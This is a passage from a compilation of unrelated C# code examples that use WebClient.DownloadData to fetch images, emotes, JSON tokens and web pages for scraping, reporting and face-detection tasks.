                    table_breakDown.AddCell(table_breakDown_child);
                }

                var tableBreakdownCurrentHeight = table_breakDown.TotalHeight;

                if (tableBreakdownCurrentHeight / remainingRowToHeightBrekdown > 1)
                {
                    if (tableBreakdownCurrentHeight / allowedRow2HeightBreakDown > 1)
                    {
                        PdfPRow headerRow = table_breakDown.GetRow(0);
                        PdfPRow lastRow   = table_breakDown.GetRow(table_breakDown.Rows.Count - 1);
                        table_breakDown.DeleteLastRow();
                        table_breakDown.WriteSelectedRows(0, -1, 10, rowYbreakDown, cb);
                        table_breakDown.DeleteBodyRows();
                        this.DrawPrintedOn(now, bf, cb);
                        document.NewPage();
                        table_breakDown.Rows.Add(headerRow);
                        table_breakDown.Rows.Add(lastRow);
                        table_breakDown.CalculateHeights();
                        rowYbreakDown = startY;
                        remainingRowToHeightBrekdown = rowYbreakDown - 5 - printedOnHeight - margin;
                        allowedRow2HeightBreakDown   = remainingRowToHeightBrekdown - printedOnHeight - margin;
                    }
                }
            }

            cell_breakDown_total_2.Phrase = new Phrase("TOTAL", bold_font);
            table_breakDown.AddCell(cell_breakDown_total_2);

            cell_breakDown_total_2.Phrase = new Phrase(viewModel.Total.ToString(), bold_font);
            table_breakDown.AddCell(cell_breakDown_total_2);

            table_breakDown.WriteSelectedRows(0, -1, 10, rowYbreakDown, cb);
            #endregion

            #region Table Instruksi
            //Title
            PdfPTable table_instruction  = new PdfPTable(1);
            float[]   instruction_widths = new float[] { 5f };

            table_instruction.TotalWidth = 500f;
            table_instruction.SetWidths(instruction_widths);

            PdfPCell cell_top_instruction = new PdfPCell()
            {
                Border = Rectangle.NO_BORDER,
                HorizontalAlignment = Element.ALIGN_LEFT,
                VerticalAlignment   = Element.ALIGN_MIDDLE,
                PaddingRight        = 1,
                PaddingBottom       = 2,
                PaddingTop          = 2
            };

            PdfPCell cell_colon_instruction = new PdfPCell()
            {
                Border = Rectangle.NO_BORDER,
                HorizontalAlignment = Element.ALIGN_LEFT,
                VerticalAlignment   = Element.ALIGN_MIDDLE
            };

            PdfPCell cell_top_keterangan_instruction = new PdfPCell()
            {
                Border = Rectangle.NO_BORDER,
                HorizontalAlignment = Element.ALIGN_LEFT,
                VerticalAlignment   = Element.ALIGN_MIDDLE,
                PaddingRight        = 1,
                PaddingBottom       = 2,
                PaddingTop          = 2,
                Colspan             = 7
            };

            cell_top_instruction.Phrase = new Phrase("INSTRUCTION", normal_font);
            table_instruction.AddCell(cell_top_instruction);
            table_instruction.AddCell(cell_colon_instruction);
            cell_top_keterangan_instruction.Phrase = new Phrase($"{viewModel.Instruction}", normal_font);
            table_instruction.AddCell(cell_top_keterangan_instruction);

            float rowYInstruction = rowYbreakDown - table_breakDown.TotalHeight - 10;
            float allowedRow2HeightInstruction = rowYInstruction - printedOnHeight - margin;

            table_instruction.WriteSelectedRows(0, -1, 10, rowYInstruction, cb);
            #endregion

            #region RO Image
            var    countImageRo = 0;
            byte[] roImage;

            foreach (var index in viewModel.ImagesFile)
            {
                countImageRo++;
            }


            float rowYRoImage = rowYInstruction - table_instruction.TotalHeight - 10;
            float imageRoHeight;

            if (countImageRo != 0)
            {
                PdfPTable table_ro_image = new PdfPTable(8);
                table_ro_image.DefaultCell.Border = Rectangle.NO_BORDER;
                float[] ro_widths = new float[8];

                for (var i = 0; i < 8; i++)
                {
                    ro_widths.SetValue(5f, i);
                }

                if (countImageRo != 0)
                {
                    table_ro_image.SetWidths(ro_widths);
                }

                table_ro_image.TotalWidth = 570f;

                for (var i = 0; i < viewModel.ImagesFile.Count; i++)
                {
                    try
                    {
                        roImage = Convert.FromBase64String(Base64.GetBase64File(viewModel.ImagesFile[i]));
                    }
                    catch (Exception)
                    {
                        var webClient = new WebClient();
                        roImage = webClient.DownloadData("https://bateeqstorage.blob.core.windows.net/other/no-image.jpg");
                    }

                    Image images    = Image.GetInstance(imgb: roImage);
                    var   imageName = viewModel.ImagesName[i];

                    if (images.Width > 60)
                    {
                        float percentage = 0.0f;
                        percentage = 60 / images.Width;
                        images.ScalePercent(percentage * 100);
                    }

                    PdfPCell imageCell = new PdfPCell(images);
                    imageCell.Border  = 0;
                    imageCell.Padding = 4;

                    PdfPCell nameCell = new PdfPCell();
                    nameCell.Border  = 0;
                    nameCell.Padding = 4;

                    nameCell.Phrase = new Phrase(imageName, normal_font);
                    PdfPTable table_ro_name = new PdfPTable(1);
                    table_ro_name.DefaultCell.Border = Rectangle.NO_BORDER;

                    table_ro_name.AddCell(imageCell);
                    table_ro_name.AddCell(nameCell);
                    table_ro_name.CompleteRow();
                    table_ro_image.AddCell(table_ro_name);
                }

                table_ro_image.CompleteRow();

                imageRoHeight = table_ro_image.TotalHeight;
                table_ro_image.WriteSelectedRows(0, -1, 10, rowYRoImage, cb);
            }
            else
            {
                imageRoHeight = 0;
            }
            #endregion

            #region Signature
            PdfPTable table_signature = new PdfPTable(2);
            table_signature.TotalWidth = 570f;

            float[] signature_widths = new float[] { 1f, 1f };
            table_signature.SetWidths(signature_widths);

            PdfPCell cell_signature = new PdfPCell()
            {
                Border = Rectangle.NO_BORDER,
                HorizontalAlignment = Element.ALIGN_CENTER,
                VerticalAlignment   = Element.ALIGN_MIDDLE,
                Padding             = 2,
            };

            PdfPCell cell_signature_noted = new PdfPCell()
            {
                Border = Rectangle.NO_BORDER,
                HorizontalAlignment = Element.ALIGN_CENTER,
                VerticalAlignment   = Element.ALIGN_MIDDLE,
                Padding             = 2,
                PaddingTop          = 50
            };

            cell_signature.Phrase = new Phrase("Dibuat", normal_font);
            table_signature.AddCell(cell_signature);
            cell_signature.Phrase = new Phrase("Kasie Merchandiser", normal_font);
            table_signature.AddCell(cell_signature);
            //cell_signature.Phrase = new Phrase("R & D", normal_font);
            //table_signature.AddCell(cell_signature);
            //cell_signature.Phrase = new Phrase("Ka Produksi", normal_font);
            //table_signature.AddCell(cell_signature);
            //cell_signature.Phrase = new Phrase("Mengetahui", normal_font);
            //table_signature.AddCell(cell_signature);

            cell_signature_noted.Phrase = new Phrase("(                           )", normal_font);
            table_signature.AddCell(cell_signature_noted);
            cell_signature_noted.Phrase = new Phrase("(                           )", normal_font);
            table_signature.AddCell(cell_signature_noted);
            //cell_signature_noted.Phrase = new Phrase("(                           )", normal_font);
            //table_signature.AddCell(cell_signature_noted);
            //cell_signature_noted.Phrase = new Phrase("(                           )", normal_font);
            //table_signature.AddCell(cell_signature_noted);
            //cell_signature_noted.Phrase = new Phrase("(Haenis Gunarto)", normal_font);
            //table_signature.AddCell(cell_signature_noted);

            float table_signatureY = rowYRoImage - imageRoHeight - 10;
            table_signature.WriteSelectedRows(0, -1, 10, table_signatureY, cb);
            #endregion

            this.DrawPrintedOn(now, bf, cb);
            document.Close();

            byte[] byteInfo = stream.ToArray();
            stream.Write(byteInfo, 0, byteInfo.Length);
            stream.Position = 0;
            return(stream);
        }
Example #34
0
        private void btSync_Click(object sender, EventArgs e)
        {
            btSync.Enabled = false;
            lbShowSyncData.Refresh();
            LoadNecessarySyncDev();
            if (lbShowSyncData.Items.Count > 0)
            {
                lbShowSyncData.Items.Clear();
            }
            lbShowSyncData.Items.Add("开始同步");
            lbShowSyncData.Refresh();
            WebClient webClient = new WebClient();
            int       index     = 1;//上面已经占用了一个位置

            foreach (var item in recordSyncData)
            {
                try
                {
                    string syncDataUrl    = string.Empty;
                    var    syncDataTables = DevEventHandler.GetDevTables(item.G3E_FNO, item.G3E_FID);
                    if (syncDataTables == null)
                    {
                        var str = string.Format("FID={0}的设备数据获取失败", item.G3E_FID);
                        recorDictionary.Add(index, new ItemOfData()
                        {
                            Fid = item.G3E_FID, Index = index, SyncResult = str, RDT = null
                        });
                        lbShowSyncData.Items.Add(str);
                        continue;
                    }
                    if (CommonHelp.Instance.IsInsertDevice(item.G3E_FNO, item.G3E_FID))
                    {
                        syncDataUrl =
                            string.Format(
                                " http://localhost:9090/emmis/equipGisMappingTemp/cadRestful/synchAttributeToCAD.gis?g3e_fid=a{0}&g3e_fno={1}",
                                item.G3E_FID, item.G3E_FNO);
                    }
                    else
                    {
                        syncDataUrl =
                            string.Format(
                                " http://localhost:9090/emmis/equipGisMappingTemp/cadRestful/synchAttributeToCAD.gis?g3e_fid={0}&g3e_fno={1}",
                                item.G3E_FID, item.G3E_FNO);
                    }
                    byte[] redata = new byte[] { };
                    try
                    {
                        redata = webClient.DownloadData(syncDataUrl);
                    }
                    catch (WebException ex)
                    {
                        lbShowSyncData.Items.Add("下载台账数据失败");
                        return;
                    }
                    string syncRes = System.Text.Encoding.UTF8.GetString(redata);
                    if (string.IsNullOrEmpty(syncRes.Trim()))
                    {
                        var str = string.Format("FID={0}的设备缺少台账录入...", item.G3E_FID);
                        recorDictionary.Add(index, new ItemOfData()
                        {
                            Fid = item.G3E_FID, Index = index, SyncResult = str, RDT = syncDataTables
                        });
                        lbShowSyncData.Items.Add(str);
                        continue;
                    }
                    var tzValues = GetSyncData(syncRes);
                    //开始同步数据
                    if (tzValues.Any())
                    {
                        ShowSyncResultToListBox(index, tzValues, syncDataTables);
                        if (item.G3E_FNO == 148 && syncDataTables.GnwzObj != null)
                        {
                            var azwzValue = GenerateHelper.GetCurrentEntityAzwzByFidAndFno(syncDataTables.Fid, syncDataTables.Fno);
                            if (azwzValue != null && azwzValue.ToString().Equals("台架"))
                            {
                                if (syncDataTables.GnwzObj.HasAttribute("GNWZ_SSTJ"))
                                {
                                    var  tj    = syncDataTables.GnwzObj.GNWZ_SSTJ;
                                    long tjFid = 0;
                                    if (long.TryParse(tj, out tjFid))
                                    {
                                        var value = DevEventHandler.GetDevTables(199, tjFid);
                                        ShowSyncResultToListBox(index, tzValues, value);
                                    }
                                }
                            }
                        }
                    }
                    //更新标注
                    SymbolLabel.ShowSymbolLabel(item.G3E_FNO, item.G3E_FID);
                }
                catch
                {
                }
                finally
                {
                    index++;
                    lbShowSyncData.Refresh();
                }
            }
            lbShowSyncData.Items.Add("同步完成.");
        }
Example #35
0
        private Bitmap loadImage(string path, IDataObject data)
        {
            Bitmap       tempBmp = null;
            MemoryStream stream  = null;

            if (!string.IsNullOrWhiteSpace(path))
            {
                tempBmp = new Bitmap(path);
            }
            else if (data.GetDataPresent(DataFormats.FileDrop))
            {
                var files = (string[])data.GetData(DataFormats.FileDrop);
                if (files.Any())
                {
                    tempBmp = new Bitmap(files[0]);
                }
            }
            else
            {
                var html   = (string)data.GetData(DataFormats.Html);
                var anchor = "src=\"";
                int idx1   = html.IndexOf(anchor) + anchor.Length;
                int idx2   = html.IndexOf("\"", idx1);
                var url    = html.Substring(idx1, idx2 - idx1);

                if (url.StartsWith("http"))
                {
                    using (var client = new WebClient())
                    {
                        var bytes = client.DownloadData(url);
                        stream  = new MemoryStream(bytes);
                        tempBmp = new Bitmap(stream);
                    }
                }
                else if (url.StartsWith("data:image"))
                {
                    anchor = "base64,";
                    idx1   = url.IndexOf(anchor) + anchor.Length;
                    var base64Data = url.Substring(idx1);
                    var bytes      = Convert.FromBase64String(base64Data);
                    stream  = new MemoryStream(bytes);
                    tempBmp = new Bitmap(stream);
                }
            }

            if (tempBmp == null)
            {
                throw new Exception("Cannot load image");
            }

            var ms = new MemoryStream();

            tempBmp.Save(ms, ImageFormat.Png);
            tempBmp.Dispose();
            if (stream != null)
            {
                stream.Dispose();
            }
            var result = new Bitmap(ms); // OMG

            m_ImgInitial.Image = Image.FromStream(ms);

            return(result);
        }
        // GET: MultiFaceDetection
        public async Task <ActionResult> Index()
        {
            try
            {
                // Step 1. Get images from blob storage.
                BlobHelper BlobHelper = new BlobHelper(StorageAccount, StorageKey);

                List <string> blobs = BlobHelper.ListBlobs(Container);

                List <string> images = new List <string>();

                foreach (var blobName in blobs)
                {
                    images.Add(blobName);
                }

                // Step 2. For each image, run the face api detection algorithm.
                var faceServiceClient = new FaceServiceClient(ServiceKey, "https://westcentralus.api.cognitive.microsoft.com/face/v1.0");

                for (int i = 0; i < blobs.Count; i++)
                {
                    using (WebClient client = new WebClient())
                    {
                        byte[] fileBytes = client.DownloadData(string.Concat("http://faceapiweu.blob.core.windows.net/cloudprojectsampleimages/", images[i]));

                        bool exists = System.IO.Directory.Exists(Server.MapPath(directory));
                        if (!exists)
                        {
                            try
                            {
                                Directory.CreateDirectory(Server.MapPath(directory));
                            }
                            catch (Exception ex)
                            {
                                ex.ToString();
                            }
                        }

                        string imageFullPath = Server.MapPath(directory) + '/' + images[i] as string;

                        System.IO.File.WriteAllBytes(imageFullPath, fileBytes);

                        using (var stream = client.OpenRead(string.Concat("http://faceapiweu.blob.core.windows.net/cloudprojectsampleimages/", images[i])))
                        {
                            //string imageFullPath = "";
                            //using (Bitmap bmp = new Bitmap(stream))
                            //{
                            //    imageFullPath = Server.MapPath(directory) + "/original/" + images[i] as string;
                            //    bmp.Save(imageFullPath, ImageFormat.Jpeg);
                            //}

                            Face[] faces = await faceServiceClient.DetectAsync(stream, true, true, new FaceAttributeType[] { FaceAttributeType.Gender, FaceAttributeType.Age, FaceAttributeType.Smile, FaceAttributeType.Glasses });

                            Bitmap CroppedFace = null;

                            foreach (var face in faces)
                            {
                                //Create & Save Cropped Images
                                var croppedImg         = Convert.ToString(Guid.NewGuid()) + ".jpeg" as string;
                                var croppedImgPath     = "../MultiDetectedFiles" + '/' + croppedImg as string;
                                var croppedImgFullPath = Server.MapPath(directory) + '/' + croppedImg as string;
                                CroppedFace = CropBitmap(
                                    (Bitmap)Bitmap.FromFile(imageFullPath),
                                    face.FaceRectangle.Left,
                                    face.FaceRectangle.Top,
                                    face.FaceRectangle.Width,
                                    face.FaceRectangle.Height);
                                CroppedFace.Save(croppedImgFullPath, ImageFormat.Jpeg);

                                if (CroppedFace != null)
                                {
                                    ((IDisposable)CroppedFace).Dispose();
                                }

                                DetectedFaces.Add(new vmFace()
                                {
                                    ImagePath = null,
                                    FileName  = croppedImg,
                                    FilePath  = croppedImgPath,
                                    Left      = face.FaceRectangle.Left,
                                    Top       = face.FaceRectangle.Top,
                                    Width     = face.FaceRectangle.Width,
                                    Height    = face.FaceRectangle.Height,
                                    FaceId    = face.FaceId.ToString(),
                                    Gender    = face.FaceAttributes.Gender,
                                    Age       = string.Format("{0:#} years old", face.FaceAttributes.Age),
                                    IsSmiling = face.FaceAttributes.Smile > 0.0 ? "Smile" : "Not Smile",
                                    Glasses   = face.FaceAttributes.Glasses.ToString(),
                                });
                            }

                            // Convert detection result into UI binding object for rendering.
                            var imageInfo = UIHelper.GetImageInfoForRenderingFromStream(stream);
                            var rectFaces = UIHelper.CalculateFaceRectangleForRendering(faces, MaxImageSize, imageInfo);
                            foreach (var face in rectFaces)
                            {
                                ResultCollection.Add(face);
                            }

                            var faceModal = new FaceDetectionModal {
                                DetectedFaces = DetectedFaces, ResultCollection = ResultCollection
                            };

                            this.finalModal.Items.Add(faceModal);
                        }
                    }
                }
            }
            catch (Exception ex)
            {
                Console.Write(ex);
                throw;
            }

            return(View(this.finalModal));
        }
Example #37
0
        private void getBaiduIndex(string keystr)
        {
            string    pageUrl = "http://index.baidu.com/?tpl=trend&word=" + Common.UrlEncode(keystr).ToUpper();
            WebClient wc      = new WebClient();

            byte[] pageSourceBytes = wc.DownloadData(new Uri(pageUrl));
            //string pageSource = Encoding.GetEncoding("gb2312").GetString(pageSourceBytes);


            //获取编码
            string encode = "";
            var    r_utf8 = new System.IO.StreamReader(new System.IO.MemoryStream(pageSourceBytes), Encoding.UTF8);
            var    r_gbk  = new System.IO.StreamReader(new System.IO.MemoryStream(pageSourceBytes), Encoding.Default);
            var    t_utf8 = r_utf8.ReadToEnd();
            var    t_gbk  = r_gbk.ReadToEnd();

            if (!Common.isLuan(t_utf8))
            {
                encode = "utf8";
            }
            else
            {
                encode = "gbk";
            }

            //根据编码读取
            string pageSource = "";

            if (encode == "utf8")
            {
                pageSource = Encoding.GetEncoding("utf-8").GetString(pageSourceBytes);
            }
            else
            {
                pageSource = Encoding.GetEncoding("gb2312").GetString(pageSourceBytes);
            }



            HtmlDocument doc = new HtmlDocument();

            doc.LoadHtml(pageSource);

            //string index = doc.DocumentNode.SelectSingleNode(indexXPath).InnerText;
            //string moblie = doc.DocumentNode.SelectSingleNode(moblieXPath).InnerText;

            //dt1.Rows.Add(keystr, index, moblie);
            dt1.Rows.Add(keystr, "333", "444");
            dt1.Rows.Add(keystr, "444", "111");
            dt1.Rows.Add(keystr, "555", "23");
            dt1.Rows.Add(keystr, "666", "45");
            dt1.Rows.Add(keystr, "777", "21");



            //System.Net.HttpWebRequest request = (System.Net.HttpWebRequest)System.Net.WebRequest.Create(pageUrl);
            //request.UserAgent = "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022)";
            //System.Net.WebResponse response = request.GetResponse();
            //System.IO.Stream resStream = response.GetResponseStream();
            //System.IO.StreamReader sr = new System.IO.StreamReader(resStream, Encoding.Default);
            //string html = (sr.ReadToEnd());
            //resStream.Close();
            //sr.Close();
            //MessageBox.Show(Common.StripHT(html));

            ++y;
            OutDelegate outdelegate = new OutDelegate(OutText);

            this.Dispatcher.BeginInvoke(outdelegate, new object[] { "xx" });
        }
Example #38
0
        //开始下载
        public bool Download()
        {
            //开始下载
            delegates.TipText(new ParaTipText(this.Info, "正在分析图片地址"));

            if (currentParameter != null)
            {
                //将停止flag设置为true
                currentParameter.IsStop = false;
            }
            try
            {
                //取得首个Url源文件
                string src1 = Network.GetHtmlSource(Info.Url, Encoding.GetEncoding("GBK"), Info.Proxy);
                Collection <string> subUrls = new Collection <string>();
                subUrls.Add(Info.Url);
                //要下载的源文件列表
                Dictionary <string, string> fileUrls = new Dictionary <string, string>();

                //取得标题(文件夹名称)
                Regex  r     = new Regex(@"http://tieba\.baidu\.com/f/tupian/album\?kw=(?<kw>.+)&an=(?<an>.+)");
                Match  m     = r.Match(Info.Url);
                string title = Tools.UrlDecode(m.Groups["kw"].Value) + "吧 - " + Tools.UrlDecode(m.Groups["an"].Value);
                //过滤无效字符
                Info.Title = Tools.InvalidCharacterFilter(title, "");

                //分析页面
                Regex           rSubPage  = new Regex(@"a href=$(?<suburl>/f/tupian/album\?kw=.+?&an=.+?&pn=\d+)$>\d+<".Replace("$", "\""));
                MatchCollection mSubPages = rSubPage.Matches(src1);
                foreach (Match item in mSubPages)
                {
                    string surl = item.Groups["suburl"].Value;
                    subUrls.Add("http://tieba.baidu.com" + surl);
                }

                Random rnd = new Random();

                List <string> pics_list = new List <string>();

                //分析各个子页面的源文件
                foreach (string item in subUrls)
                {
                    //取得源代码
                    string src2 = Network.GetHtmlSource(item, Encoding.GetEncoding("GBK"), Info.Proxy);
                    //解析所有图片
                    Regex           rAllPic  = new Regex(@"<div class=$j_showtip pic_box$ id=$(?<id>\w+).+?<p class=$pic_des$>(?<des>.+?)</p>".Replace("$", "\""), RegexOptions.Singleline);
                    MatchCollection mAllPics = rAllPic.Matches(src2);
                    foreach (Match item2 in mAllPics)
                    {
                        //string fName = Tools.InvalidCharacterFilter(item2.Groups["des"].Value + " [" + rnd.Next(1000).ToString() + "]", "");
                        string fName = item2.Groups["id"].Value + ".jpg";
                        fileUrls.Add("http://imgsrc.baidu.com/forum/pic/item/" + fName, fName);

                        pics_list.Add("http://imgsrc.baidu.com/forum/pic/item/" + fName);
                    }
                }

                Info.videos = pics_list.ToArray();
                return(true);

                #region  载图片

                //建立文件夹
                string mainDir = Info.SaveDirectory + (Info.SaveDirectory.ToString().EndsWith(@"\") ? "" : @"\") + Info.Title;

                //确定下载任务共有几个Part
                Info.PartCount   = 1;
                Info.CurrentPart = 1;
                delegates.NewPart(new ParaNewPart(this.Info, 1));

                //分析源代码,取得下载地址
                WebClient wc = new WebClient();
                if (Info.Proxy != null)
                {
                    wc.Proxy = Info.Proxy;
                }

                //创建文件夹
                Directory.CreateDirectory(mainDir);

                //设置下载长度
                currentParameter.TotalLength = fileUrls.Count;

                int j = 0;
                //下载文件
                foreach (string item in fileUrls.Keys)
                {
                    if (currentParameter.IsStop)
                    {
                        return(false);
                    }
                    try
                    {
                        byte[] content = wc.DownloadData(item);
                        File.WriteAllBytes(Path.Combine(mainDir, fileUrls[item] + ".jpg"), content);
                    }
                    catch { }                     //end try
                    j++;
                    currentParameter.DoneBytes = j;
                }                // end for
                #endregion
            }                    //end try
            catch (Exception ex) //出现错误即下载失败
            {
                throw ex;
            }            //end try



            //下载成功完成
            currentParameter.DoneBytes = currentParameter.TotalLength;
            return(true);
        }        //end DownloadVideo
        public static ApiKeyCredentials Login(string username, string password, string clientId,
                                              int validLifeTimeSeconds)
        {
            using (var webClient = new WebClient())
            {
                SetAllowUnsafeHeaderParsing20();

                string url = SearchSettings.Default.SecureTokenServiceLoginUrl;

                if (String.IsNullOrEmpty(url))
                {
                    //url = "http://imaging.cci.emory.edu/rest/aime-test/middleware/securityTokenService";
                    return(null);
                }

                // Base64 encoding of login credentials
                string credentialsBase64 = Convert.ToBase64String(Encoding.ASCII.GetBytes(username + ":" + password));

                // Add encoded credentials to header as basic authentication
                webClient.Headers[HttpRequestHeader.Authorization] = string.Format("Basic {0}", credentialsBase64);

                NameValueCollection queryString = BuildQueryString(new Collection <KeyValuePair <string, string> >
                {
                    new KeyValuePair <string, string>("clientId",
                                                      clientId),
                    new KeyValuePair <string, string>("lifetime",
                                                      validLifeTimeSeconds
                                                      .
                                                      ToString
                                                          ())
                });

                using (var ms = new MemoryStream(webClient.DownloadData(url + "?" + queryString)))
                {
                    var      serializer     = new DataContractJsonSerializer(typeof(AimeLoginResult));
                    var      aimLoginResult = (AimeLoginResult)serializer.ReadObject(ms);
                    DateTime expirationTime;
                    //DateTime.TryParse(aimLoginResult.Expires, out expirationTime);

                    DateTime?nullableExpiration = null;

                    if (DateTime.TryParseExact(aimLoginResult.Expires, "ddd MMM dd HH:mm:ss EDT yyyy",
                                               new CultureInfo("en-US"), DateTimeStyles.None, out expirationTime))
                    {
                        expirationTime = TimeZoneInfo.ConvertTime(expirationTime,
                                                                  TimeZoneInfo.FindSystemTimeZoneById(
                                                                      "Eastern Standard Time"),
                                                                  TimeZoneInfo.Local);
                        nullableExpiration = expirationTime;
                    }

                    return(new ApiKeyCredentials
                    {
                        UserName = username,
                        Password = password,
                        ApiKey = aimLoginResult.ApiKey,
                        ClientId = aimLoginResult.Clientid,
                        ExpirationTime = nullableExpiration
                    });
                }
            }
        }
Example #40
0
        private void ProcessImages(HtmlDocument doc)
        {
            var images = doc.DocumentNode.SelectNodes("//img");

            if (images == null || images.Count < 1)
            {
                return;
            }

            foreach (var image in images)
            {
                var url = image.Attributes["src"]?.Value;
                if (url == null)
                {
                    continue;
                }

                byte[] imageData;
                string contentType;
                if (url.StartsWith("http"))
                {
                    var http = new WebClient();
                    imageData   = http.DownloadData(url);
                    contentType = http.ResponseHeaders[System.Net.HttpResponseHeader.ContentType];
                }
                else if (url.StartsWith("file:///"))
                {
                    url = url.Substring(8);

                    try
                    {
                        imageData   = File.ReadAllBytes(url);
                        contentType = ImageUtils.GetImageMediaTypeFromFilename(url);
                    }
                    catch
                    {
                        continue;
                    }
                }
                else // Relative Path
                {
                    try
                    {
                        var uri = new Uri(BaseUri, url);
                        url = uri.AbsoluteUri;
                        if (url.StartsWith("http") && url.Contains("://"))
                        {
                            var http = new WebClient();
                            imageData = http.DownloadData(url);
                        }
                        else
                        {
                            imageData = File.ReadAllBytes(WebUtility.UrlDecode(url.Replace("file:///", "")));
                        }

                        contentType = ImageUtils.GetImageMediaTypeFromFilename(url);
                    }
                    catch
                    {
                        continue;
                    }
                }

                if (imageData == null)
                {
                    continue;
                }


                var el = image;
                el.Name = "img";

                if (CreateExternalFiles)
                {
                    var ext = "png";
                    if (contentType == "image/jpeg")
                    {
                        ext = "jpg";
                    }
                    else if (contentType == "image/gif")
                    {
                        ext = "gif";
                    }

                    string justFilename = Path.GetFileName(url);
                    string justExt      = Path.GetExtension(url);
                    if (string.IsNullOrEmpty(justExt))
                    {
                        justFilename = DataUtils.GenerateUniqueId(10) + "." + ext;
                    }

                    var fullPath = Path.Combine(OutputPath, justFilename);
                    File.WriteAllBytes(fullPath, imageData);
                    el.Attributes["src"].Value = justFilename;
                }
                else
                {
                    string data = $"data:{contentType};base64,{Convert.ToBase64String(imageData)}";
                    el.Attributes["src"].Value = data;
                }
            }
        }
Example #41
0
        public static List <TwitchEmote> GetEmotes(List <Comment> comments, string cacheFolder, Emotes embededEmotes = null, bool deepSearch = false)
        {
            List <TwitchEmote> returnList   = new List <TwitchEmote>();
            List <string>      alreadyAdded = new List <string>();
            List <string>      failedEmotes = new List <string>();

            string emoteFolder = Path.Combine(cacheFolder, "emotes");

            if (!Directory.Exists(emoteFolder))
            {
                TwitchHelper.CreateDirectory(emoteFolder);
            }

            if (embededEmotes != null)
            {
                foreach (FirstPartyEmoteData emoteData in embededEmotes.firstParty)
                {
                    try
                    {
                        MemoryStream ms       = new MemoryStream(emoteData.data);
                        SKCodec      codec    = SKCodec.Create(ms);
                        TwitchEmote  newEmote = new TwitchEmote(new List <SKBitmap>()
                        {
                            SKBitmap.Decode(emoteData.data)
                        }, codec, emoteData.id, codec.FrameCount == 0 ? "png" : "gif", emoteData.id, emoteData.imageScale, emoteData.data);
                        returnList.Add(newEmote);
                        alreadyAdded.Add(emoteData.id);
                    }
                    catch { }
                }
            }

            using (WebClient client = new WebClient())
            {
                foreach (var comment in comments)
                {
                    if (comment.message.fragments == null)
                    {
                        continue;
                    }

                    foreach (var fragment in comment.message.fragments)
                    {
                        if (fragment.emoticon != null)
                        {
                            string id = fragment.emoticon.emoticon_id;
                            if (!alreadyAdded.Contains(id) && !failedEmotes.Contains(id))
                            {
                                try
                                {
                                    string filePath = "";
                                    if (File.Exists(Path.Combine(emoteFolder, id + "_1x.gif")))
                                    {
                                        filePath = Path.Combine(emoteFolder, id + "_1x.gif");
                                    }
                                    else if (File.Exists(Path.Combine(emoteFolder, id + "_1x.png")) && !id.Contains("emotesv2_"))
                                    {
                                        filePath = Path.Combine(emoteFolder, id + "_1x.png");
                                    }

                                    if (File.Exists(filePath))
                                    {
                                        SKBitmap emoteImage = SKBitmap.Decode(filePath);
                                        if (emoteImage == null)
                                        {
                                            try
                                            {
                                                File.Delete(filePath);
                                            }
                                            catch { }
                                        }
                                        else
                                        {
                                            try
                                            {
                                                byte[]       bytes = File.ReadAllBytes(filePath);
                                                MemoryStream ms    = new MemoryStream(bytes);
                                                SKCodec      codec = SKCodec.Create(ms);
                                                returnList.Add(new TwitchEmote(new List <SKBitmap>()
                                                {
                                                    SKBitmap.Decode(bytes)
                                                }, codec, id, codec.FrameCount == 0 ? "png" : "gif", id, 1, bytes));
                                                alreadyAdded.Add(id);
                                            }
                                            catch { }
                                        }
                                    }

                                    if (!alreadyAdded.Contains(id))
                                    {
                                        byte[] bytes = client.DownloadData(String.Format("https://static-cdn.jtvnw.net/emoticons/v2/{0}/default/dark/1.0", id));
                                        alreadyAdded.Add(id);
                                        MemoryStream ms       = new MemoryStream(bytes);
                                        SKCodec      codec    = SKCodec.Create(ms);
                                        TwitchEmote  newEmote = new TwitchEmote(new List <SKBitmap>()
                                        {
                                            SKBitmap.Decode(bytes)
                                        }, codec, id, codec.FrameCount == 0 ? "png" : "gif", id, 1, bytes);
                                        returnList.Add(newEmote);
                                        try
                                        {
                                            File.WriteAllBytes(Path.Combine(emoteFolder, newEmote.id + "_1x." + newEmote.imageType), bytes);
                                        }
                                        catch { }
                                    }
                                }
                                catch (WebException)
                                {
                                    failedEmotes.Add(id);
                                }
                            }
                        }
                    }
                }
            }

            return(returnList);
        }
Example #42
0
        public All_Credit()
        {
            InitializeComponent();

            Encoding.RegisterProvider(CodePagesEncodingProvider.Instance);               //euc-kr을 지원하지 않으므로 인코딩 메소드 생성
            var endcoingCode = 51949;                                                    //euc-kr 코드

            System.Text.Encoding euckr = System.Text.Encoding.GetEncoding(endcoingCode); //euc-kr 인코딩 작성

            WebClient wc = new WebClient();

            //wc.Headers.Add(HttpRequestHeader.Cookie, CookieTemp.Cookie); //cookieTemp에서 Cookie가져옴
            string url = "https://hems.hoseo.or.kr/hoseo/stu/mem/inf/hom/STUHOM0110L0.jsp";

            byte[] docBytes   = wc.DownloadData(url);
            string encodeType = wc.ResponseHeaders["Content-Type"];

            string charsetKey = "charset";
            int    pos        = encodeType.IndexOf(charsetKey);

            Encoding currentEncoding = Encoding.Default;

            if (pos != -1)
            {
                pos = encodeType.IndexOf("=", pos + charsetKey.Length);
                if (pos != -1)
                {
                    string charset = encodeType.Substring(pos + 1);
                    currentEncoding = Encoding.GetEncoding(charset);
                }
            }

            string result = currentEncoding.GetString(docBytes); // 대상 웹 서버가 인코딩한 설정으로 디코딩!

            HtmlAgilityPack.HtmlDocument doc = new HtmlAgilityPack.HtmlDocument();
            doc.LoadHtml(result);

            string subject1 = doc.DocumentNode.SelectSingleNode("//*[@id='tab1']/tbody/tr[4]/td[1]").InnerHtml;
            string title1   = doc.DocumentNode.SelectSingleNode("//*[@id='tab1']/tbody/tr[4]/td[3]/a/font").InnerHtml;

            string subject2 = doc.DocumentNode.SelectSingleNode("//*[@id='tab1']/tbody/tr[6]/td[1]").InnerHtml;
            string title2   = doc.DocumentNode.SelectSingleNode("//*[@id='tab1']/tbody/tr[6]/td[3]/a/font").InnerHtml;

            string subject3 = doc.DocumentNode.SelectSingleNode("//*[@id='tab1']/tbody/tr[8]/td[1]").InnerHtml;
            string title3   = doc.DocumentNode.SelectSingleNode("//*[@id='tab1']/tbody/tr[8]/td[3]/a/font").InnerHtml;

            string subject4 = doc.DocumentNode.SelectSingleNode("//*[@id='tab1']/tbody/tr[10]/td[1]").InnerHtml;
